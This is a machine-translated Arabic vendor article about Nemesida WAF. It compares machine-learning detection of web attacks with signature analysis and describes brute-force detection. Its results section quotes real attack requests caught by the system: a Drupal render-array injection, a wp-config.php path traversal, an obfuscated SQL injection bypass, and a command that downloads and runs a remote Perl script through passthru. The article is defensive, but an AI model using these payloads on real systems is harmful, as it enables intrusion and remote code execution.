التعلم الآلي مقابل تحليل التوقيع عند اكتشاف الهجمات على تطبيق ويب



حول كيفية تطوير وحدة التعلم الآلي ، لماذا تخلينا عن الشبكات العصبية في اتجاه الخوارزميات الكلاسيكية ، أي الهجمات يتم الكشف عنها بسبب مسافة Levenshtein والمنطق الضبابي ، وأي طريقة للكشف عن الهجوم (ML أو التوقيع) تعمل بشكل أكثر كفاءة.

استخدام التعلم الآلي لاكتشاف الهجمات


بالنظر إلى الشعبية المتزايدة لاستعلامات ML (وكذلك الأمن السيبراني) على Google:



ومعرفة أن طلبات HTTP هي نص عادي (وإن لم يكن لها معنى) ، ويسمح لك بناء جملة البروتوكول بتفسير البيانات كسلاسل:

مثال على طلب شرعي
28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET /login.php HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY----------

مثال لطلب غير شرعي
28/Aug/2018:16:55:24 +0300;
200;
127.0.0.1;
http;
example.com;
GET /login.php?search= HTTP/1.1;
PHPSESSID=vqmi2ptvisohf62lru0shg3ll7;
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0
Safari/537.21;
-;
-;
-----------START-BODY-----------
-;
-----------END-BODY---------

قررنا محاولة تنفيذ وحدة تعلُّم الآلة لاكتشاف الهجمات على تطبيق ويب.

قبل البدء في التطوير ، نقوم بصياغة المشكلة:
لتعليم وحدة التعلم الآلي اكتشاف الهجمات على تطبيقات الويب من خلال محتويات طلب HTTP ، أي تصنيف الطلبات (على الأقل ثنائي: طلب شرعي أو غير شرعي).

باستخدام مخطط تصنيف السلسلة العام


المصدر: www.researchgate.net/publication/228084521_Text_Classification_Using_Machine_Learning_Techniques
سنقوم بتحليلها


والتكيف مع مهمتنا:

المرحلة 1. معالجة حركة المرور.


نقوم بتحليل طلبات HTTP الواردة مع إمكانية حظرها.

المرحلة 2. تعريف العلامات.


محتوى طلبات HTTP ليس نصًا ذا معنى ، لذا يجب العمل معه
لا نستخدم الكلمات ، ولكن n-grams (اختيار n هو أيضًا مهمة منفصلة).

الخطوتين 3 و 4. التصفية.


ترتبط المراحل بشكل أكبر بالنص ذي المغزى ، وبالتالي فهي غير مطلوبة لحل المشكلة ، نستبعدها.

الخطوة 5. تحويل إلى عرض متجه.


بناء على تحليل البحث العلمي والنماذج الموجودة ، تم بناء مخطط
تشغيل وحدة التعلم الآلي ، وبعد تحليل البيانات ، تتكون مساحة الميزة من العناصر. نظرًا لأن معظم الميزات نصية ، فقد تم تحويلها للاستخدام الإضافي في خوارزمية التعرف. وبما أن حقول الاستعلام ليست كلمات منفصلة ، وغالبًا ما تتكون من سلاسل من الأحرف ، فقد تقرر استخدام نهج قائم على تحليل تواتر حدوث n-grams (TFIDF ، ru.wikipedia.org/wiki/TF-IDF ).

تم إضفاء الطابع الرسمي على مشكلة الكشف عن الهجمات من وجهة نظر رياضية على أنها كلاسيكية
مهمة التصنيف (فئتان: حركة شرعية وغير مشروعة). اختيار الخوارزميات
تم تنفيذه وفقا لمعيار سهولة الوصول إلى التنفيذ وإمكانية الاختبار. الأفضل
أظهرت خوارزمية تعزيز التدرج (AdaBoost) نفسها بطريقة ما. وهكذا ، بعد التدريب ، يعتمد صنع القرار في Nemesida WAF على الخصائص الإحصائية.
تحليل البيانات ، وليس على أساس علامات (توقيعات) تحديد الهجمات.

في الشكل أدناه ، يمكنك أن ترى كيف يتم تنفيذ التحويل الكلاسيكي لنص ذو معنى:

المصدر: habr.com/company/ods/blog/329410

في حالتنا ، بدلاً من "كيس من الكلمات" نستخدم n-grams.

المرحلة 6. إبراز قاموس الإشارات.


نأخذ نتيجة خوارزمية TFIDF ونخفض عدد العلامات (التحكم ،
مثل معلمة التردد).

المرحلة 7. تعلم الخوارزمية.


نقوم باختيار الخوارزمية وتدريبها. بعد التدريب (أثناء التعرف) فقط كتل 1 ، 5 ، 6 + عمل التعرف.

اختيار الخوارزمية




عند اختيار خوارزمية التعلم ، تم التفكير عمليًا في كل شيء مشمول في حزمة التعلم والتعلم.



يوفر التعلم العميق دقة عالية ، ولكن:
- يتطلب نفقات كبيرة على الموارد ، سواء لعملية التعلم (على GPU) ولعملية الاعتراف (يمكن أن يكون الاستدلال أيضًا على وحدة المعالجة المركزية) ؛
- يتجاوز الوقت الذي تستغرقه معالجة الطلب بشكل كبير وقت المعالجة باستخدام الخوارزميات الكلاسيكية.



نظرًا لأنه لن تتاح لجميع المستخدمين المحتملين لـ Nemesida WAF الفرصة لشراء خادم مزود بوحدة معالجة رسومات للتعلم العميق ، ووقت معالجة الطلب هو عامل رئيسي ، قررنا استخدام الخوارزميات الكلاسيكية التي ، مع عينة تدريب جيدة ، توفر الدقة بالقرب من أساليب التعلم العميق والتوسع بشكل جيد على أي منصة.
الخوارزمية الكلاسيكيةشبكات عصبية متعددة الطبقات
1. دقة عالية فقط مع عينة تدريب جيدة.
2. لا تطالب الأجهزة.
1. متطلبات الأجهزة عالية (GPU).
2. يتجاوز وقت معالجة الاستعلام بشكل كبير وقت المعالجة باستخدام الخوارزميات الكلاسيكية.

يعد WAF لحماية تطبيقات الويب أداة ضرورية ، ولكن ليس لدى الجميع الفرصة لشراء أو استئجار معدات باهظة الثمن باستخدام وحدة معالجة الرسوميات لتدريبها. بالإضافة إلى ذلك ، يعد وقت معالجة الطلب (في وضع IPS القياسي) مؤشرًا مهمًا. بناءً على ما سبق ، قررنا الخوض في خوارزمية التعلم الكلاسيكية.


استراتيجية التنمية ML


في تطوير وحدة التعلم الآلي (Nemesida AI) ، تم استخدام الإستراتيجية التالية:
- نقوم بإصلاح مستوى الإيجابيات الخاطئة عند القيمة (حتى 0.04٪ في 2017 ، حتى 0.01٪ في 2018) ؛
- زيادة مستوى الكشف إلى الحد الأقصى عند مستوى معين من الإيجابيات الخاطئة.

بناءً على الاستراتيجية المختارة ، يتم اختيار معلمات المصنف مع مراعاة استيفاء كل من الشروط ، ونتيجة حل مشكلة توليد عينات تدريبية من صفين بناءً على نموذج الفضاء المتجه (حركة المرور والهجمات الشرعية) تؤثر بشكل مباشر على جودة المصنف.

تستند عينة التدريب لحركة المرور غير المشروعة إلى قاعدة البيانات الحالية للهجمات التي يتم تلقيها من مصادر مختلفة ، وتستند حركة المرور المشروعة إلى الطلبات التي يتلقاها تطبيق الويب المحمي والتي يعترف بها محلل التوقيع بأنها شرعية. يتيح لك هذا النهج تكييف نظام Nemesida AI للتدريب مع تطبيق ويب معين ، مما يقلل من مستوى الإيجابيات الزائفة إلى الحد الأدنى. يعتمد حجم العينة التي تم إنشاؤها من حركة المرور الشرعية على مقدار ذاكرة الوصول العشوائي المجانية في الخادم الذي تعمل عليه وحدة التعلم الآلي. الإعداد الموصى به للتدريب النموذجي هو 400000 طلب مع 32 غيغابايت من ذاكرة الوصول العشوائي المجانية.



التحقق المتقاطع: حدد المعامل


باستخدام القيمة المثلى لمعاملات التحقق المتقاطع ، اخترنا طريقة تعتمد على غابة عشوائية (غابة عشوائية) ، مما سمح لنا بتحقيق المؤشرات التالية:
- عدد الإيجابيات الخاطئة (FP): 0.01٪
- عدد التمريرات (FN) 0.01٪
وبالتالي ، فإن دقة الكشف عن الهجمات على تطبيق ويب بواسطة وحدة Nemesida AI هي 99.98٪.



نتيجة وحدة ML


تم حظر الطلبات عن طريق مجموعة من الأعراض الشاذة
...
URI: /user/password
Args: name[#post_render][0]=printf&name[#markup]=ABCZ%0A
UA: Python-urllib/2.7
Cookie: -
...

...
URI: /wp-admin/admin-ajax.php
Zone: ARGS
Parameters: action=revslider_show_image&img=../wp-config.php
Cookies: -
...


محاولة تجاوز WAF
...
Body: /?id=1+un/**/ion+sel/**/ect+1,2,3--
...


تم تجاوز الطلب بطريقة التوقيع ولكن تم حظره بواسطة ML
Host: example.com
URI: /
Args: q=user%2Fpassword&name%5B%23markup%5D=cd+%2Ftmp%3Bwget+146.185.X.39%2Flug
%3Bperl+lug%3Brm+-rf+lug&name%5B%23type%5D=markup&name%5B%23post_render%5D%5B
%5D=passthru
UA: python-requests/2.5.3 CPython/3.4.8 Linux/2.6.32-042stab128.2
Cookie: -



منع هجمات القوة الغاشمة


يعد الكشف عن هجمات القوة الغاشمة (BF) مكونًا مهمًا في WAF الحديث. إن اكتشاف مثل هذه الهجمات أسهل من SQLi و XSS وغيرها. بالإضافة إلى ذلك ، يتم الكشف عن هجمات BF على نسخ حركة المرور ، دون التأثير على وقت استجابة تطبيق الويب.

في Nemesida AI ، تم تحديد هجمات القوة الغاشمة على النحو التالي:
1. نقوم بتحليل نسخ الطلبات التي يتلقاها تطبيق الويب.
2. نستخرج البيانات اللازمة لاتخاذ القرار (IP ، URL ، ARGS ، BODY).
3. نقوم بتصفية البيانات المستلمة ، باستثناء عناوين URI غير المستهدفة لتقليل عدد الإيجابيات الخاطئة.
4. نحسب المسافات المتبادلة بين الطلبات (اخترنا مسافة Levenshtein والمنطق الضبابي).
5. حدد الطلبات من عنوان IP واحد إلى عنوان URI محدد لأنها قريبة ، أو الطلبات من كل IP إلى عنوان URI محدد (لتحديد هجمات BF الموزعة) خلال فترة زمنية محددة.
6. نقوم بحظر مصدر (مصادر) الهجوم عندما يتم تجاوز قيم العتبة.

التعلم الآلي أو تحليل التوقيع


تلخيص ، نسلط الضوء على ميزات كل طريقة:
تحليل التوقيعالتعلم الآلي
المزايا:
1. سرعة معالجة الطلب أعلى.

العيوب:
1. عدد الإيجابيات الزائفة أعلى ؛
2. دقة الكشف عن الهجمات أقل.
3. لا تكشف عن علامات جديدة للهجمات.
4. لا يكتشف الشذوذ (بما في ذلك هجمات القوة الغاشمة) ؛
5. غير قادر على تقييم مستوى الشذوذ.
6. ليس كل هجوم ممكن للتوقيع.
المزايا:
1. يكتشف الهجمات بشكل أكثر دقة ؛
2. عدد الإيجابيات الخاطئة هو الحد الأدنى.
3. يحدد الشذوذ.
4. تكشف علامات جديدة للهجمات.
5. يتطلب موارد أجهزة إضافية.

العيوب:
1. سرعة معالجة الطلبات أقل.

استنادًا إلى العلامات الجديدة للهجوم الذي تم اكتشافه بواسطة وحدة ML ، نقوم بتحديث مجموعة من التوقيعات ، والتي يتم استخدامها أيضًا في Nemesida WAF Free ، وهي نسخة مجانية توفر الحماية الأساسية لتطبيق ويب ، وهي سهلة التثبيت والصيانة ، ولا تحتوي على متطلبات عالية للأجهزة.

الخلاصة: لتحديد الهجمات على تطبيق ويب ، هناك حاجة إلى نهج مشترك يعتمد على التعلم الآلي وتحليل التوقيع.

Source: https://habr.com/ru/post/ar427577/


All Articles